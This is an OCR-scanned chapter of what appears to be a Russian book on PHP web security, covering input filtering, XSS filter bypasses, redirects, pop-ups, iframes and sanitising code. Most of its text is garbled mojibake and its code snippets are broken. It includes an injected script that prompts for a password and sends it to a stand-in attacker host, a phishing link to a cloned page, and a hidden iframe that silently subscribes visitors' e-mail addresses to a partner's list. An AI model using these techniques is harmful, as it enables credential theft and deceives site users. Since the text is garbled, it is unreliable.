1. Tlepabiit yposers, casili ecTkui. Ha Hew Sanpeuiehis Boe onackble CHMBOTH i
paTpelIeHb TOTKO GyKBbI H 3HAKH IpENMHAKKS (T0%Ka W 3asTax). B c1yuae noss-
HHA 3AMPEILEHHOR CHVBOT GYIET BBIBATHEA (PyHKIAS ic (), W PaGOTa ciicHa-
pra mpepeeres

2. Bropofi yponeits, Goriee AEMOKPATISHBI, ABHO JATPELIACT TOTHKO ONACHHE CHMBOTH!
W Tern. TIpu JTOM MOTYT GHTh PASpeleHtl GE30NaCHSIE TerH, TAKHE Kik <i>, <b>
1T, 1. BIpotew, GyZeT AyUile, e NOTI30BATENH CTAHYT YTIOTPEBIATS JaMERHTE M
W, HANPAMEP, (1) GYXCT MPOTPAMMHO JaMeNSTLCS Ha <i>, (5] — Ha <b> T, 2. B Ta-
KOM Cilysae, €CH TIORBHTCA JaTIpEIEHHb CHMBOT (KOTOpili BbI He TIOCHHTATH 803~
MOKHbIM SATIPETHTS), GYIET BBUIAHO COOGUIEHHE 06 OWMGKe, H PAGOTa clieHapis
npepperca.

3. Tperhii yposei TOXOX Ha BIOPOH, 1O Ge3 cooGuienmii o6 owmGKax. PaGora cuena-
PHA GYIeT MPOAOTAEHA B THOGOM CAYHaE, & OMIACHHIE CHMBOT GYIYT BHIPE3aH WK
3AMeHEHb Ge3OnIACHHINY BHATOTaNH.

4. Paspeuenit Bce CHMBOTH. Jadem HyKeH TaKofi yposens? ECTH Bl yBepen, uTo na-
PAMETP HE GYCT NEPEABATICH CHTEME MIOTHIOBATEAAMH CalTa, & TOTHKO GIMHIH-
CTPATOPaMH, TO MOAHO PEIPELINTS BCE CHMBOTH Y QIMHHFCTPATOPOB HaCTO JOTAHA
GbiTh BOIMOXHOCTS BeTantATh HTML-KOX Ha CTRAHMIS CalTa, HO TYT HYAHO GbiT,
‘YBEPEHHSIM, ¥TO TOTHKO AIMHHHCTPATOPH MOFYT IOTI30BAThCA AAHHOM yHKLUHH.

TIpi WTSTPALIH ZGHHBIX ONEHS BKHO TIOHHMATS, “TO HMEHHO Ml GHISTPYeM. B pas-

HAHbIX CTYSAX GBIBIIOT PAsHBIe ONACHSIE CHMBOTH. HANDHMCD, €CTH MaHHEE, BBEeH-

HBIE TI0AE30BATEIIEM, GYIYT 1epeAaBaTCA (BYHKUMM PAGOTH C Gas0l AHHBX, TO BOHH-

KET ONIACHOCTS NIEPEIANH ONMHADHBIX KABBIAEK; ECIIH XK€ NIAPAMETPbI GYAYT BHBOTHTLCA

Ha CTpaHHUE CaiTa, To Yiech IORBACTCA YIPO3a OTOGPEKCHHS YIPABTIOUIX CHMBOTOB

HTML.

Jiabalire paccMOTpiM pHMEP NOGACAHETO YpoBHa. SApKiM MpeTeHzEHTOM Ha 0R0GHyI0

IpOBEPKY ABTAETCA IOE 1A BBOAA NApoA. YTOBH NapOTh GBS CIOAHBIM, BEe CrewHa-

HCTHI (4 % WX TIOJACPAUBAI0) PEKOMEHIYIOT BKTIONATS B HETO HE TOTHKO WHCIa H OYK-

B8, HO W CHMBOT, T1apoTH PEAKO HCTIOTBSYIOTCA B CHOTEMHBIX GYHKLAX, OSTOMY

ech KEARTEALHO BOOGULE HIMETO He HTSTPORAT.
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<Script> W AMEHLTA ero TYCTOH CTPOKOH. Bpoze Get HMKAKOH OWIMGKH, HO HTO €Cih
XaKep TIEPECT CEHapHIO Ter B BHE < Script >? JTOTO MPOBEPKE YAE He JaMETHT M-
3 HATHAHR IPOBETOB, 3, FHAUHT, XaKEP CMOXET BHEIPHT B ClicHapHH crOf Koz, Moo
TIOMTATICA CHaYANA YOPATS Bee MPOGETE, HO H B STOM CYHa€ NPOBEPKY 7erko 0GOHTH,
nepenap b KatecTae MApANETpa CTPOKY:

<script language-

script> Koz </script>

Jlaxe cawsihi cTporkH WAGTO MOXHO 0GOTH, a MIPOCTYIO 3aMEHY BeX CHMBOTOD < Ha
TIOCTEIOBATELHOCTS 4157 H CHMBOTOB < Ha IOCTEAOBATENLHOCTS 4gt.; OGOWTH HeBos-
ool T1o KpaliHel Mepe, % He 3Halo, Kax OGOHTH STOT BIPANT SAUHTH.

HecoTpa Ha T0, 7O Cuenapiy JavaScript BITOTHAIOTCA Ha CTOPOHE KITHENTa, O Mo-
YT GBiTh 0teHs onacHbiMM H 1A ceppepa. Kak? Paceworpim npiwep. JlomycTin, uro y
BaC €cTh CailT, Ha KOTOPOM NOTG30BITEH PETHCTPHPYIOTCA, HTOGH TIOTYAHTS JOCTYT K
onpezenets posmoAHOCTAM. Hanpuwep, Ha opyMe perucTpauns TpeGyetes, ot
OCTABTATS CBOW COOGULEHIA, & Ha TIONTOBOM CEPBEpe — ATA JOCTYTIA K ITEKTPOHOMY
nowTOBOMY Auky, W3 Gpaysepa. TIpeTIOTOAHM, HTO Xakep MOKET BCTPOHTS B Web-
cTpanvuy JavaScript-xon. JIoGasAem ceAyiouli KOx:
<sexipe>

var passeprompt ('nostopo ssemme sam napoms', ')

Location. hraf="http://hacksite. con/pass .php7pass=" rpasswo
</scripe>

Jlanwsil Ko OTOGPEKAET Ha SKpaHe COOBULEHHE © NPOCKGOH BBECTH NapoTh, @ 3aTen
BoezeHmbie faisie HanpamtaoTea cuiewapiio hitp:/hacksite.com/pass.php. Taxime
€I060GOM XaKep CMOET COGPTS T1apoH I0BEPIHBLIX TIOTH3OBATEAEH 1 HCTIOTS30BATS
WX 18 2T HEMILETO BIONA Cepepa.

Ho He TonbKo akTHBHl Ko (Java, JavaScript u . 1) MoweT Grh onacsiw. Jlomye-
T, WTO Xakep cMor BeTpoWT B Web-crpasuuy Ter <a> (cosnanme ccourk). B 1o
GIIyHAE MOKHO JOGABHTS Ha CTPAHHLY CCBLTKY:

<a hres

ttp:/ /hacksite. con/ register. php"> perucTpatR <a>

B AGHHOM Cyuae CCUIKa MepeGpACHBAET HAC WA ClieHapHH register.php Ha cephepe
hacksite.com. Xakep MOXET opOpMHT CTPaHMLY 2TOrO CUEHaHA B ToM e JUmaline,
o  BArawbBacwbif cepep. Taxiw oGpaION, Mepeas Mo CChUTKE, AOBCPHMBHIH NOTS-
0BATETH HHYETO He 3ATIONOSPHT H BBEIET B GOPMY BCE IANPOLIEHHIE TAHHbE, HATDH-
Mep, WHGOPMALINIO O KpeIHTHOR KapTe. BOTHIIMHCTBO 3 Hac He CMOTPHT B cTpoky URL
IpH MIEPEXOE 110 CCHUTKAM H He JaMETHT TIOTBOX.

'BAPHAHTOB HCTIONB3OBAHHS BCTPAMBAEMBIX CCHUIOK OMEHS MHOTO,  IEPENHCIHTE WX BCe
HEBOIMOXHO, 212 W KIHTG 3Ta COBCEM O IPYTOM. Y XAKEOB I0CTATOHO PAIBHTOE B00G-
PaXEHHE, H O WAILIYT CTI0GO BHINGHHTS HEOBXOTHNYIO HHGOpMAILO, @ €cH calfT
‘GOMBLIOH, TO AAMHHHCTPATOP! HE CPAsy JAMETT IORHYIO CCHUTKY.

‘Cosnaswe TouHO KonWi CalfTa KEpTBGI Ha XAKEPCKOM Ceppepe — BronHe Hpdpexri-
i METOR B310wa. JIOCTATONHO PAIOCTATS MIOTHIOBATEAM COOGILEHHA C HOBOCTO 06
‘OGHOBAEHHH COTEPAHMOTO H TIDHIIACHTS WX IOCMOTPETb A CAFiT, Zab CCBUIKY Ha Xa-





index-238_1.png
202 rnaea 5

ECTH BCTPOWTS B CTpAHMLY CACTYIOUUAH KOA, TO BHYTPH CTPANMIS! MORBITCA dpeiiv,
B KOTOPOM GYIET OTOGPIKEHO CONEPAHMOE MOErO caifta www.flenov.info. Tiph 5Tow
CalfTy 4epes MapaMeTp paran GYET MEPEANO COEPKHMOE OTHOMMEHHOO GET
‘napaveTpa. BOT TaK Mbi MOKEM NIEPEIATS MapTHEpY STEKTPOHHHH aApec, KoTopli Gout
BBeteH B Gopwy:

<ttzane

‘hetp: //w. Elenoy. inforparan<? print (§ GET(paran]); >"
Width="600" height="400"
</ifrane>

'HYKHO IPOCTO AMEHHTS paxan HA MR IAPAMETP, KOTOPbIH B HCTIOABYET 118 S7eK-
TPOHHOFO MONTOBOO azpeca.
Dopwa BiAHa, SHASHT, 370 He Overs, YauHOE pewierve. Haw Beah HYAHO CIETaTh moz-
TIHCKY Ha HOBOCTH MAKCHMATLHO HesaweTHoM, Her npoGew! Toweuaen (pe b Hes
M G0K:
<iv style="visibility:hidden®>
<itrane
sxc="http: / /s, flenoy. infotpazan=<? print (5_GET(paran]); 2>
width="600" height="400">
</ifrane>
</aiv>

‘Terieph, COTEPKHMOE SATPYKEHHOTO dpeiiMa He GYIeT BHINO, SHAYHT, Mt BHIIOTHITH
BCE YCIOBHR OCTABTEHHOH 3a%a4H

Eci (peiid HEBHINM, TO €r0 GPaYSED MOKET HE SATPY3HTS, Ho H 3Ty IPOGEMY MOXHO
OGOMTH — YCTAHOBHTS WIMPWHY H BHCOTY Bpefina B | makces. FLTH MOXHO miepexphiTh.
KaKOF-HHOYh KapTHHKOR

5.10.4. Croii, He yxoau!

Jlyuse X0 To-To, sew Hirdero. JTiomm TOGKT CKWIKH W IOTAPKH, NIOSTOMY TIOCETHTe-
10, TpHICIIENY KO KOMMepHecKii CaliT, OGHYHO AETAETCA CTAHIGPTHOE MpELIOC-
HHE, B KOTOOM LcHa Ha TOBAP W YCAYTY HEMHOTO Janbiea. OHAKO KOFAA OH oMb~
TA€TCA YHTH C CaifTa, NOABTAETCA OKHO C MPE/VTOKEHMEM OCTATHCA H TIOTYHTS CKHIKY.
‘OieH MHOTH TIOTb30BTETH COGAAIHAIOTCH TIOTOGHBIM TIPEILIOAEHHEN. A KTO YCTONT?
Peaniionarh 310 MOAHO CHOBA ¢ TIOMOIbO JavaScript. JU1A STOr0 MOAHO HATHCATS Koz,
KOTOPbi GYIeT BIIOAHATECH 110 COBHTHIO onve foreunload OkHa. Hanphep:
<seripe>
var internallink = false;
function unload() (
if (internallink)
return;
window. Location

e E1enov. into
return "Croie, He yxomme!!!
y
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function yopurl)
«
parans = ‘widd

+acreen. width

parans 4= ', height='+screen.heisht;
params 4= ', top=0, left=0's

params += ', fullscreenmyes':
parans += *, scrollbarsel’

w2 = window.open (url, "MySite", params);

return false;
)

</script>

‘Terteps cchuIKa MOET BHIIAAETS CTEAYIOWIAM OGPAION:

<a nrefens" onclicke"return yeop (nttp:

oo Elenov. info) " >

TYT 6CTh TOHKO 0N MaTeHSKI HEOCTATOK — B CTPOKE COCTORHWA 14 TaKo cout-
KH TORBIAETCA CHMBOA peuieT. He ovewb Xopolee pellichie, NOTOMY §TO BHIOBET
TIONO3penME Y TIONLI0BATENER, KOTOPHIE CMOTPAT b CTPOKY CoeToAHHS. MOKHO HweHTs
CCBLIKY CTORYIOUM OGPION:
<a href="hecp: /e, lenov. info"

onclick="retum yPop(this.href) ;" >

5.10.3. Ter <iframe>

‘Caas YKacHaA KOHCTPYIIAA, KOTOPYIO MOTH TOIKO MPWIYMATh pAspaCoTHKi A3hika
pasmerwsn HTML, — 570 Ter < frane>. On CovIaeT wiTepaTHBnbii (Dpeit, beTpocH-
Huth B CTPAHMLLY, KOTOpHIA MOXET JAPYAETS B CE0% CTPAMLIN HE TOTKO C TOrO Xe
CalfTa, 4TO W OCHOBHAS CTPAHWIA, HO H C APYTH CEPEpOB.

Korza % paGoTa Ha KONTAHHIO, KOTOPA COVIGBATA AXTEKO He O4eHb XOpOUIHE T,
TO ONHKIS MEPE MPOTPAMMHCTANM HaCi (MPMSI GhLTA MOCTARAEHA 31043 HACHTS-
CTBEHHORO TIONITHCAHI BCEX TIOTH30BATEAEH, NPOXOTAILIAX HEPEs Halll CaiThl, Ha HOBO-
CTH OTHOTO 3 NAPTHEPOB. 38 KAKIOTO MOATHCHHKA NAPTHE IVIATHI HAM ACHHIH, 4
noMk0BaTE MoAYWAN ToRHY cawa. TIOAHCKA JOTAHA GhiTa TPOMCXOTHT MAKCH-
MBTLHO HESAMETHO /1A TIOT30BATEA, STOGH O HE 3AMOTIOTPYT ALl COBEPIIEHHO "He-
BHsC” CalfTHl B HENECTHOM MIDE, 1 W NapTHEp T0TKeH Goin BwacTs IP paswix M-
30BaTENEH, HTO0H He JAMETHI NOACTABY C Hallleh CTOpOH.

Y Hac Ha calfTax ecth opMa, T MOCETHTEIIh BBOIHT CBOf eKTpoHHHIA anpec. MokHo
(61470 Gbl NOZITHCHIBATS TOTLI0BITEAEH, OTIIPATAR SATPOCH! ¢ HALIETO CEPBEPA B NOMEHT
TOTYseHHA GOPNEL, HO TOTAA ONHCKA MPOHCXOMTA bt ¢ IP-anpeca Haero ceppepa,
4o HezonycTHMO. TIOTEI0BATEN J0TVKEH Ghil TOAHCHBATECA CO CBOETO A1PEca, 4T,
COBCTBEHHO, Mb W XOTEIH peariioBaTh. OTTIPABHTS 3aMPOc GO CTOPOH! MoRBIORATENS
MOKHO ¢ MOMOILBH0 Terd < £ranes.
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leHHS CTPAHILLS! Ha TPH HACTH — 3ATOTOBOK, MONBAT H TEAO ZOKYMENTA. 3AT0TOBOK CO-
JEpKHT BEXHIOI HACTH CTPAHMILS! (TOTOTI, MHIO  T. 1), KOTOPAS HEHIMEHHA A1
Bex 710Ky MeHTOB caiiTa. TToNBaN COTEPAIIT HIDKHIOR HEHIMEHHYIO HacTS (HHQOPMALIO
© Baazenue w apyrve caeens). Te0 — ITO CHTPAILIA HCTS, CBOR Y KuKAOH CTPa-
e Taksnw 0GpasoM, ToGb! B KaActom Baliie He COIABATH JATOTOBOK W NOTBT, WX
BHHOGAT B OTIESHbH a1 W TOTHKO NOTOM NOTKTIONAIOT K IOKYMEHTY. 3ar00BOK
01BN YL MOAKTIOUATS Yepes GYHKLIIO include (). Ualiie B STHX HaCTAX CTPAHHISI
‘HaxomTes npocro HTML-PasMETK, b OTAMUME OT LEHTPANbHOM HACTH, KOTOPAX MOXET
reHepHpOBATLCA ¢ oMot PHP H comepkiT Kon.

PAIETATE KO TakiM OGPAION MOKHO, HO TOTBKO U1K HEGOTHUIMX CaToB W3 HecKon
i Crpai. 1A CPeHX i GOTbuIMX CalfToB Tyile HCrok30BaTh natTeph MVC, mpi
KOTOpOM KO TIOTHOCTHHO oTeTsE TR OT NpeacTanerns (HTML).

B a0 C1yae, ecH 110 KaKi-THGO MpHHIaM a7t 5aTOA0BKA WK WIATIH He Gy~
YT walaens, CaiT MOXET BHTALIETS YPORIHBO, HO paSorars Gyxer. [lomsiosatens
VBT AGBHYRO HaCTS — HHQOPMALIIO, DA KOTOPOF MpHuLes.

PAccMOTPHM MpHMEp CTPAHMUS, PA3GHTOH Ha TpH HacTH. Dailn aroyoBKa (Saile Boero
baiin HaswBOT header.php) MOKET BHTIATETS Tak, Kak MIOKA3aHO B HCTHHTE 2.3.

| Tinerwnr 2.3, @ain saronoaka crpanus!

<nmt>
<heac>
<title> Test page </vitle>
</neac>
<wody>
<center><h1> Welcome to my home page.</hi></center>
<t=- hore you can insert page menu, links —->
P
<a hrof="http: / /. ydsoft . com/ >aouon</a>
http: / /s Elenov. info/">Gnon</a>
<a href=htcp: //ma. funnicst forld. com">ommac/a>
contact us</a>

<a href=

<a href-"mailto:nesaxioliosaio. ru
</p>

aiin nozsana (saue neero daitn Haseipaior footer. php) MOKET COTEPRATS ClEIYIOUYIO
wipopmattio:
o>
<p><center><i>copyright Elenov mikhaile/i></canter></p>
</oody>
<tm>

‘Teriep HOCMOTPHM, KaK MOXET BHIIAZETS KOJI A1 CTPAHHLS, TIOTKTIOUaIoel 32r0io-
50K # nosan (auerhnr 2.4).
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window.crbeforaunlosd = unloads
</scripe>

B 9TOM Kolte OGbAMIeHA (DYHKIUIR © HMEHEM unload, KOTOpas WaeRseT Texyuu URL
Ha azpec apyroro caiira (TpocTo A1 MpHwepa) hitp:/www.flenov.info b kavecrae
PE3yATATA BO3BPALIAET TEKCT. ITOT TEKCT GYAET OTOGPEKEH B ZMAIOTOBOM OKHe, KOTO-
POE YBHIHT NOTs30BaTeb. UTOGH GYHKILAR HAHATA PAGOTTE, €¢ HMS HYXHO IPHCBOKTS
06PAGOTIMKY window. orbeozeunioad.

OGpauTe BHMMANME Ha MepeMeHHYIO internallink. ECTH OHA PABHA true, TO KOX HE
'BHITOTHACTCA, DTa TePEMEHHaR HYKHA 1A TOTO, HTOGH! OTMEHATS KO, ECH MIOT63083-
e WEAKIYA 10 KaKOFI-TO CCBUIKE BYTPH CalfTa, . €. HHKY.Ia HE YXOHT, & MPOROKa-
€t amurathes Aasute. MHaue roBOPA, TPEGYETEs, HTOGH MPH LIETHKAX 10 BHYTPEHHHM
coUTxam caifTa nepeMeHHas internallink NDHHMATA SHAYCHHE true. DTO MOXHO CZe-
28TH CETYROUM OBpasoM:

<a nrof="get-free-gife.php" onclick="internallink=true;

B 5TOM THMEpE CBLIKA YKAIHIBACT Ha BHYTPENIION CTPAHHITY, 10 COGBITHIO onclick
BunOTHACTES JavaSCript-KoA, KOTODH MMEHAET MEDEMEHHYIO W OTHM OTKIIONGET
JavaScript-okso. ECTb €ille OMWH C1I006 — MOXHO BHYTPH CTPAHHISI IPOCTO OTKPH-
BATS, Bce CCLUIKH B HOBOM OKHE, 70 TOXE BHIXO, HO HE BCErta YI00HH.

5.11. YHusepcansHas saumra

Hanoc7en0k A Xowy PaccKasaTs o CriocoBe 3aUMT, KOTOpIH % HCTONB3YI0 WHOTIA Ha
BoWX caliTax. Y MeHs ecTh aiin securephp, KOTOplf TIPOBEPAET Bee MepeMeHHHE Ha

HATHHE ONACHSIX CHMBOTOB H SKPRHHPYET ox. CORGpXIMOE Galiia NOKHO YBHICTS
B wcTiire 5.8.

foreach (5_POST as $inx => Sval) (
5_20ST(Sinx] = hemlspecialchars ($_POSTISin]) ;
if (tini_get (magic_quotes_gpe))
5_OST(Sinx] = addslashes (5_POST(Sinx]);
'

foreach (5 GET as Sinx > Sval) {
5 GeT{sinx] = htmlspecialchars(s_GET(sinx]);
if (tini_get (magic_quotes_gpc))
5_GET[Sinx) = addslashes (s_GET(Sinx]);
)

foreach (s_COOKIE as Sinx => Sval) (
$_SAVECOOKIE [$4rx] = htmlspecialchars (§_COOKIE($inx]) ;
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5.10. Ynoeku

Mne npuuiocs n0paGOTaTS B KOMIAHHH, KOTOpas HCTIONI0BANA ONEHS MHOTO "Sep-
HBIX" METO10B B nocTpoeH#i Web-caifTop. HeKOTOpHIE 3 STHX METOZI0B MOTYT OK&3aTb-
8 ACHCTBNTENBHO MOTEIMMIMK 1 1A A0GPONIOPAIOHOTO. BIQETbLA CAiTa, NOSTOMY
A TIOSHAKOMIIO BAC ¢ HAHGOIICE WHTEDECHEIMH TDHEMAMH.

5.10.1. Tlepeaapecauua

ECH HYAHO 7Th CCHUIKY Ha KAKYIO-TO TIOZIEAKY HIH OGMaH, TO 7GBTS MIPAMYIO Cebi-
Ky HEBWITOIHO, IOTOMY 'TO 5TO GYJET CTHIIKOM JAMETHO H NONOpHTEAbHO. Hanph-
NEp, €T B COIAETE COBLIKY Ha caifT B CTILTE "POBEpS CBoit 1Q", TO HYKHO MpHIO-
KUTH MBKCHMYM YCHTHi, WTOOHl NIOTG3OBATE TIOBEPHT, 4O Bbl He MITAETECh €ro
oGmanyTe.

TIOTB30BTETH He 0COGO SOBEPAIOT CCHUIKAM, BETYLIAM Ha BHewHe Cai. Kenarers-
10, “TOG MpH HABEACHHI YKEXITEA MBI Ha CCUTKY B CTPOKE COCTOSHINA OTOOpIA-
7ach ccwaKa Ha Tekyuwil CalT. JUIA 9T0T0 MOKHO HCTIONS30BATS Mepeanpecatniio. Hi
pHMEP, b BatlcH CTpaNMIIE MOKET GBITS CreAYIOUUHH KOA:

sdecontentdiv>

<b>Meracaiime/nl>

<poXouewm, morrpas npua?

<a href="get-free-gift.php">mman aecu</a>
. omysom, iR Cacon
o <a href="knou-your-iq. php">ysuat caoki 10.</a>
</o>

</aivs

B 370N KO 1BE COBUTKH, KOTOPI MO3BOTAT HaM NOKA3ETS 7162 PASHAIX METOZA Mepeali-
‘pecaun. Tlepsas comuna ykaseibact wa aiin get-free-gift php. 1o npocto ait cuena-
P, KOTOPH HAXOIUTCA Ha BAILIEM e CepBepe H COTEPAMT CTeAyIoWnl KOX:

<zhe

Hoader ("Status: 200 OK") 7

Header ("Location: hEtp: / /s, cydsoft. con®

Jeck Beero e CTPOKH KOTA H OGE BHIIHIBAIOT METOA Hoader (), KOTOPHI CO3AAET 3aTH-
e ann saronoxa HTTP-3anpoca. DTOT METON JomkeH Bsbibatsca 2o HTML-
onepatopos. B nepofi cTpoKe B 3ar070BOK A0GaBRETCR Craryc OTBera. Jlia HTTP-
HAKETOB KOZOM KOPpEKTHOTO OTBETa sRTAETES e 200. Bo BTOPO CTpoKe b sarono-
BoK Z0GARTACTCA NGPAMETP Locat icn. B STOM NIZPAETPE MOXHO mepeat URL-anpec,
Ha KOTOpIi ZOTAHA MPOWSONTH nepeapecauns. TTonyuaeTcs, 1o Ham dailt get-free-
gift php npocTo mpocit nomssosares nepeii a cait www.cydsoft.com.

Teneps nocworpHM Ha conepkiMOe Gaiina know-your-ig.php (HCTHA 5.6), KoTopl
TaK ke MPOVIBOT MepeaTpecallio Ha ApYTOM Cafi.





index-236_1.jpg
20 rnaea 5

5.10.2. Bennusatowme okHa

Beabipalouie okHa Gecat nonssosaTene, Ho oM bee eute bexpHbl b GopsGe a
Tpacmk. HenpoeccHORATHIM HEKOTOpHX cosatencii catop NIDHBOIT K TOMY, T0
OTHIOBATE OKISHIBATCA GYKBATSHO JACHINAMHbIN CTLIMBAIOIANM OKHANW, H TOTZA
70 HE MPHHOCHIO ABCOMOTHO HHKAKITX IHBHICHIOR, 8 TOTbKO GecHo.

Jn% 38U 70GPOCOBECTHAIX NIOMB30BATEAEH CHANATA CTATH MOTRTATEES MIPOTPAN
‘WazCTpOfiKi, KOTOPHIE G/OKMPOBATH BCTLAIBAIOIIE OKWA, @ BIIOCACACTRHH NOTOGHYIO
SAUUATY CTATH MPEATAraTS 1 cauh MpOHIBOANTEH Gpaysepos. Bee conpevennbie Gpay-
Pl HMEIOT TaKyIo yHKILNIO, M Y KEKIOFO oM PAGOTACT N0-CROCMY, XOTA BCe OHH
B SEM-TO CXOKH. CXOKECTS JKTIONACTCR B TOW, 4TO GAOKHPYETCR ABTOMATHYECKDE 10-
ABTEHHE OKOH B MOMEHT 3ATPY3KH WIH 3AKPHITHS CTPAHHIS.

BerbBaIOIe OKHa COYIRIOTCA B KORe Ha A3bike JavaScript, KOTopuii BTOTHAETCA
Gpaysepow. TonoGHb KO MOIBOIRET MHCATS OGPAGOTHHKH TAKYX COGBITHI, KaK 3a-
TPY3Ka WM 3aKPHTHE CTPAHHLS, BIpOYeN, COVIABATS OKia b 0GPaGOTIHKAX ITHX COBH-
‘Tl IPKTHYECKI GECTIOIESHO, TIOTOMY SO OKHO, CKOpE€ BCETO, GYIET 3a60KHpOBaHO.
Xors obeyxaenme JavaScript, Kaxwioch Gbi, BEIXOMT 32 paviki Kiwrn o PHP, Tewa
aMIIKOM GH3KR 7H0GOMY XAKEPY, NO3TOMY Ml BGE JKe PACCMOTPHM ce.

Ecin HyKHo GECTPENTTCTBERHO MOKA3ATh BCTIHBAIOUICE OKHO, TO CIEAVET HCTIOTb30-
BATH COBBITH, CBABAHHBIE O WIETMKaMH MK, TI0 MOHM HaGTIOZEHHAN, BCe Gpaysepst
paspemaior cosaaTh OkHa 1o uensKy. Cawsilt IPOCTOH CrIOcOG Co3AaTh HOBOE OKHO —
HerOTs308aTS JavaScript-GyHKIIO window. opers:

<a href="#" onclicke

‘window. open("http: / /ies.cydsott .ccm’) ;7>
B 3TOM TIPHMEPE Ha MECTE TIaPAMETPa hre Tera <a> YKAILIBACM CHMBO PEUIeTH, HTO0H
TIDH WETKE 10 CCAUTKE HHYETO HE TIPOHCXOTHTO. A BOT OTKPHITHE OKHA MPOHCXOMHT
B JavaScript-Koze 1o coBBTIO cnclick, . €. KOTAR MIOTB30BATES WIETKHYA 10 CCHUTKE.
TlapaweTp nref GOKHPOBATS He OGAATEEHO. Bbt MOKETe 10 HeMy OTKPHBATS Kakoi-
HuGys daiin:
<a hrefahtep: /i, funniestuorld, con®
onclick="uindow. open (*http: / /o cydsoft .can )

B 5TOM MpHMEpE hre? YKAJHIBAET Ha O CAliT, & 10 COBHTHIO oncl ick Mol SaTpyKaem
cobepuerto ApyrOF car. Takiw GaIo, GYAYT JarpyKeHbl 06, KAKIiii b CHOEM OKHE.
Eitie Goflee WHTEPECHHIM BAPHIHTOM MOKET GHTh OTKPHTHE BCTLTHBAIOUIETO OKHa 110~
BEPX CYLECTBYIOUIETO TaK, 4TOGb OHO TIOTHOCTHIO MEPEKPHBVTIOH. CTapas CTpaHHIA
KaK Gbi OCTAETCA 1102 OTKPHITOH. Ty IPOGIIEMY MOKHO PEUIHTS TOF e yHKIMEH, Tpo-
T MCIIOALIOBATh ZIDYTOF ¢ BAPHAHT, KOTOPHIH MIOYMAET TDH NapaeTpa. TpeTit w3
X CONCPAHT CBOFICTBA OKHA, TAKHE KAK €70 I1OHIVIA  Paswiep. B THCTHHTE 5.7 noKa-
3aH NpHMep JaVaSeript-Koza, KOTOpT COYIAET MOTHOOKPAHHOE OKHO.

MweTanr 5.7. JavaScript-xoR OTXPITWA HOBOTO kKA.

<script typesrtext/Javascript™>
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<IDOCTYEE heml PUBLIC "~//M3C//OTO XHTHL 1.0 Transitional//EN"
"REtp://vhae. 3. 0Fg/ TR/ XhEmLL/DTD/ Xhtad 1t ransi tional. dta”>
<htrd mlns="http: /s, u3.06/1999 /el ">
<meta http-equiv="refresh"

content="5;url=http: //ies. Elenoy. info" />
<title>anecs m yauaems cook 10</citle>
<link href="style.css® rel-"stylesheet” types’
</heac>

toxt/css" />

<body>
<div 1d=container™>
<div id=rcontentdiv®>

<hl>Mera cafine/ni>
<p>Cefiuac sas yamaow, Xaxoh y Bac 1. flozoxmime 5 cex</p>
</av>

</av>

</oody>

</heni>

Inect yke uenas HTML-crpaswua ¢ Tekerow. Jla, TEKCT 0%eHs MpocToH A SKoHOMHH
MecTa B KHHTE, HO €10 MOKHO CIENATH Gonee MHQOPMATHBHEIN. MOXHO OMeCTHTS
crarsio mpo IQ. B 3Tom cryuac ccinka GYACT HHTEpECHA TIOHCKOBSIM CHETEMAM, BEb
OHa BeZET K CTATHe Ha Baew e caiite 1po 1Q.
Ho s 570ff CTpaHWIE €CTH O1IHA OYeHb BKHAA CTPOSKA KOTA (XOTH OHa # pasGHTa Ha Tbe
A8 ynoGcTBa opwaTHpOBaNNS B KIHTE):
<neta http-squiv="refresn®

content="5; url-http: / /s, £lency. info” />

a crposka TN WaxomHTEC B saronopke HTML-CTpaRHS, T. €. MeAIy Terami
<heac> W </nead>. OWA SACTABIACT COTCPAHMOC CTPAHHILS OGHOBMTLCA. Canoe ifTe-
PecHoe 3tect, — napawerp content. EMY NPHCBAWBACTCR CTPOKa, KOTOPAA GOGTONT W3
ABYX HacTeR, paencHHBIX TOKOH ¢ 3anaTOR. [lepBan HaCTh — ITO WHCTO, YKasbIBalo-
Lice BPEMS B CEKYHIAX, Uepe3 KOTOPOS HYAHO IDOHIBECTH OGHORTEHHE CTPAHMUH. BTo-
Pas 59CTh — 310 CTPOKa, onpeensioutas URL-a1pec CTPAHHLL, KOTOPAR JOMKHH GbiTh
sarpyKera. B HalieM CAYa€ HEPes S CeKyH GYAET Iarpykei caiiT flenov.info.

TOT METO FOPa3IO MpEATONTHTENBHEe. CUHTAETEA, 'TO IOHSKOBIE CHCTEMH! TORTHHO
OTHOCATCA K TaKoH Niepeanpecaui. JIEN0 B TOM, ST CTPAHHLLA CONEPAHT TEKCT, a T0HC-
KOBHIE CHCTEMs! "IOGAT" HILIEKCHPOBATS TekcT. UT0-T0 Gorlee KOHKPETHOE CKISATh He-
BOTMOAHO, MIOTOMY 'O ATOPHTMb! HHICKCHPOBHHS 3ACEKPEUCHS

TIOMH30BaTEH BUIAT Golee-Meree PETEBAHTHYIO MHOPWALIIO, & HAYHT, He cpasy 3a-
METAT 107180X. KOMTali, B KOTOpOH A paGoTal HECKOTKO et HA3az, COIIABATA Ol
MHOTO caifToB, nepeanpaRTBIoIX TAKHAM 0Gpa3OM TpadbHi: Ha caiTs! KverTOs. B pe-
2y/TSTATE KOMIIAHWA 3apaGATHIBATA GOTLIME ACHBTH HA TPONAE TPapHKa.
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XoTenoch Gl NOABECTH KEKYIO-TO HEPTY W HATOMHITS BaM OCHOBHHIE TPHHIATI Geso-
TIACHOCTH, KOTOPHE MBI PACCMOTPETH. BIIpOteM, KOTIa ped WIET O Ge3ONacHocTH,
TPy BEETHTS rnaBHoe. JHOGAR MEOUS MOAET OKAZETECA POKOBO, 03TONY HEaD-
XOIHMO OGPAUILETS BHHMAIHE Ha KKIYIO CTPOKY COVIABIENOTO KO,

Cefac B aille MOKHO BCTPETHTS Take MowsTHA, Kak Code Review, Koraa nporpas-
MHCTS! TIPOBEPSIOT KOX APYT APYFa. T0 HOPMATSHO, W WHNETO IIOXOTO B TOM Her.
TIPOCTO HyAHO CMOTPETS Ha 9TO, Kak Ha OTIKTKY CoIaTh GOiee KavecTBeHHbI Koi,
a e Ha movck OWMGOK B KOZE KOTET C LETHIO YHAIHTL W B HenpodeccHonanime. He
CTONT MPHIVPATECA, OCHOBHAR e — HaliTH OUIHGKH

MHOTHe TIpOTPAMMHCTH TMILYT CLIEHAPHH TaK, STO Wulb Gt oMM padoTaik, @ o Geso-
TACHOCTH HAHHIHAIOT 3aTYMBIBATCA TOTBKO TOTI2, KOTAR TPAHET TPO I CepBCp BXTONA-
1or. He ZyMato, STO CTOMT ZOBOHTS 10 3700, He Ayiuie 1 Cpasy e YIETHTh BHiMa-
